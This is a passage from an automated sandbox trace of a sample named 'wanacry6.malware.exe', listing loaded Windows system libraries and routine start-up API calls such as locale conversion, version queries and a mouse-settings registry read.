0x7ff75619c000 end_va = 0x7ff75619dfff entry_point = 0x0 region_type = private name = "private_0x00007ff75619c000" filename = "" Region: id = 1241 start_va = 0x7ff75619e000 end_va = 0x7ff75619ffff entry_point = 0x0 region_type = private name = "private_0x00007ff75619e000" filename = "" Region: id = 1242 start_va = 0x7ff7562c6000 end_va = 0x7ff7562c7fff entry_point = 0x0 region_type = private name = "private_0x00007ff7562c6000" filename = "" Region: id = 1243 start_va = 0x7ffe22fe0000 end_va = 0x7ffe2313efff entry_point = 0x7ffe22fe0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1244 start_va = 0xe8f3ff0000 end_va = 0xe8f3ffffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f3ff0000" filename = "" Region: id = 1245 start_va = 0x7ffe294c0000 end_va = 0x7ffe29562fff entry_point = 0x7ffe294d5be8 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1313 start_va = 0xe8f4000000 end_va = 0xe8f4000fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f4000000" filename = "" Region: id = 1335 start_va = 0x7ffe21910000 end_va = 0x7ffe21918fff entry_point = 0x7ffe21911284 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1336 start_va = 0x7ffe25490000 end_va = 0x7ffe254f6fff entry_point = 0x7ffe25491c14 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1361 start_va = 0xe8f7e00000 end_va = 0xe8f7e01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e8f7e00000" filename = "" Region: id = 1362 start_va = 0x7ffe292a0000 end_va = 0x7ffe2930bfff entry_point = 0x7ffe292b6eb0 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1396 start_va = 0xe8f7e10000 end_va = 0xe8f7e11fff entry_point = 0x0 region_type = private name = "private_0x000000e8f7e10000" filename = "" Region: id = 1397 start_va = 0xe8f7e20000 end_va = 0xe8f7e20fff entry_point = 0x0 region_type = private name = "private_0x000000e8f7e20000" filename = "" Region: id = 1407 start_va = 0x7ffe2a020000 end_va = 0x7ffe2a06dfff entry_point = 0x7ffe2a021278 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1408 start_va = 0x7ffe290a0000 end_va = 0x7ffe290c2fff entry_point = 0x7ffe290a10a0 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1409 start_va = 0x7ffe29960000 end_va = 0x7ffe29983fff entry_point = 0x7ffe299678f0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1410 start_va = 0x7ffe29920000 end_va = 0x7ffe29959fff entry_point = 0x7ffe29945ee0 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 1411 start_va = 0x7ffe1ca70000 end_va = 0x7ffe1ca8afff entry_point = 0x7ffe1ca83b08 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Thread: id = 1 os_tid = 0xaa4 [0018.353] GetStartupInfoW (in: lpStartupInfo=0xe8f3e1fd20 | out: lpStartupInfo=0xe8f3e1fd20*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0018.355] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ffe2a640000 [0018.355] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsAlloc") returned 0x7ffe2a643de0 [0018.355] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsFree") returned 0x7ffe2a643ea8 [0018.355] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsGetValue") returned 0x7ffe2a64165c [0018.355] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsSetValue") returned 0x7ffe2a64164c [0018.355] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="InitializeCriticalSectionEx") returned 0x7ffe2a6434d0 [0018.355] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateEventExW") returned 0x7ffe2a65bba4 [0018.355] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSemaphoreExW") returned 0x7ffe2a6f8b10 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadStackGuarantee") returned 0x7ffe2a644020 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolTimer") returned 0x7ffe2a64415c [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolTimer") returned 0x7ffe2cb4ac78 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7ffe2cb93808 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolTimer") returned 0x7ffe2cb4ba8c [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolWait") returned 0x7ffe2a64a4e8 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolWait") returned 0x7ffe2cb97284 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolWait") returned 0x7ffe2cb926cc [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlushProcessWriteBuffers") returned 0x7ffe2cbb7300 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7ffe2cb96e94 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentProcessorNumber") returned 0x7ffe2cbb6190 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLogicalProcessorInformation") returned 0x7ffe2a644780 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSymbolicLinkW") returned 0x7ffe2a71d040 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetDefaultDllDirectories") returned 0x7ffe2a148320 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="EnumSystemLocalesEx") returned 0x7ffe2a71d1c0 [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CompareStringEx") returned 0x7ffe2a6443cc [0018.356] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetDateFormatEx") returned 0x7ffe2a71d2b8 [0018.357] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLocaleInfoEx") returned 0x7ffe2a644060 [0018.357] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTimeFormatEx") returned 0x7ffe2a6f8fc0 [0018.357] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffe2a644050 [0018.357] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsValidLocaleName") returned 0x7ffe2a6441d0 [0018.357] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="LCMapStringEx") returned 0x7ffe2a643fe0 [0018.357] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentPackageId") returned 0x7ffe2a07c850 [0018.357] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTickCount64") returned 0x7ffe2a641678 [0018.357] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0018.357] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0018.358] GetCurrentThreadId () returned 0xaa4 [0018.358] GetStartupInfoW (in: lpStartupInfo=0xe8f3e1fd10 | out: lpStartupInfo=0xe8f3e1fd10*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x7ff756b50000, hStdOutput=0x7ff756b81560, hStdError=0xe8f401d840)) [0018.358] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0018.358] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0018.358] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0018.358] GetCommandLineW () returned="\"C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe\" " [0018.358] GetEnvironmentStringsW () returned 0xe8f40260b0* [0018.358] FreeEnvironmentStringsW (penv=0xe8f40260b0) returned 1 [0018.358] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ff756c30a60, nSize=0x104 | out: lpFilename="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe")) returned 0x31 [0018.359] GetLastError () returned 0x0 [0018.359] SetLastError (dwErrCode=0x0) [0018.359] GetLastError () returned 0x0 [0018.359] SetLastError (dwErrCode=0x0) [0018.359] GetLastError () returned 0x0 [0018.359] SetLastError (dwErrCode=0x0) [0018.359] GetACP () returned 0x4e4 [0018.359] GetLastError () returned 0x0 [0018.359] SetLastError (dwErrCode=0x0) [0018.359] IsValidCodePage (CodePage=0x4e4) returned 1 [0018.359] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xe8f3e1fc80 | out: lpCPInfo=0xe8f3e1fc80) returned 1 [0018.359] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xe8f3e1f720 | out: lpCPInfo=0xe8f3e1f720) returned 1 [0018.359] GetLastError () returned 0x0 [0018.359] SetLastError (dwErrCode=0x0) [0018.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe8f3e1f740, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0018.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe8f3e1f740, cbMultiByte=256, lpWideCharStr=0xe8f3e1f420, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ樄⠾ⵘ") returned 256 [0018.360] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ樄⠾ⵘ", cchSrc=256, lpCharType=0xe8f3e1fa40 | out: lpCharType=0xe8f3e1fa40) returned 1 [0018.360] GetLastError () returned 0x0 [0018.360] SetLastError (dwErrCode=0x0) [0018.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe8f3e1f740, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0018.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe8f3e1f740, cbMultiByte=256, lpWideCharStr=0xe8f3e1f410, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0018.360] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0018.360] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xe8f3e1f200, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0018.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0xe8f3e1f840, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ<\x01", lpUsedDefaultChar=0x0) returned 256 [0018.360] GetLastError () returned 0x0 [0018.360] SetLastError (dwErrCode=0x0) [0018.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe8f3e1f740, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0018.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe8f3e1f740, cbMultiByte=256, lpWideCharStr=0xe8f3e1f410, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0018.360] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0018.360] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xe8f3e1f200, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0018.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0xe8f3e1f940, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0018.360] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff756b8a98c) returned 0x0 [0018.361] GetVersionExW (in: lpVersionInformation=0xe8f3e1fba0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x2140214, dwMinorVersion=0x3120210, dwBuildNumber=0x2100210, dwPlatformId=0x2140210, szCSDVersion="̒ȐȐȐȐȐ́́́́́́́́́́́́́́́́́́́́́́́Ȑ́́́́騧Ⲹ翾") | out: lpVersionInformation=0xe8f3e1fba0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0018.361] GetCurrentProcess () returned 0xffffffffffffffff [0018.361] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0xe8f3e1fce8 | out: Wow64Process=0xe8f3e1fce8) returned 1 [0018.361] GetSystemInfo (in: lpSystemInfo=0xe8f3e1fb68 | out: lpSystemInfo=0xe8f3e1fb68*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0018.362] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0018.362] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0018.362] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0018.362] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0018.362] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0018.362] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0018.362] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc14a [0018.363] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0018.363] OleInitialize (pvReserved=0x0) returned 0x0 [0018.425] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0xe8f3e1fc80 | out: phkResult=0xe8f3e1fc80*=0x14c) returned 0x0 [0018.426] RegQueryValueExW (in: hKey=0x14c, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0xe8f3e1fce0, lpcbData=0xe8f3e1fcb0*=0x8 | out: lpType=0x0, lpData=0xe8f3e1fce0*=0x30, lpcbData=0xe8f3e1fcb0*=0x4) returned 0x0 [0018.426] RegCloseKey (hKey=0x14c) returned 0x0 [0018.429] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe8f3dffc50, nSize=0x7fff | out: lpFilename="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" 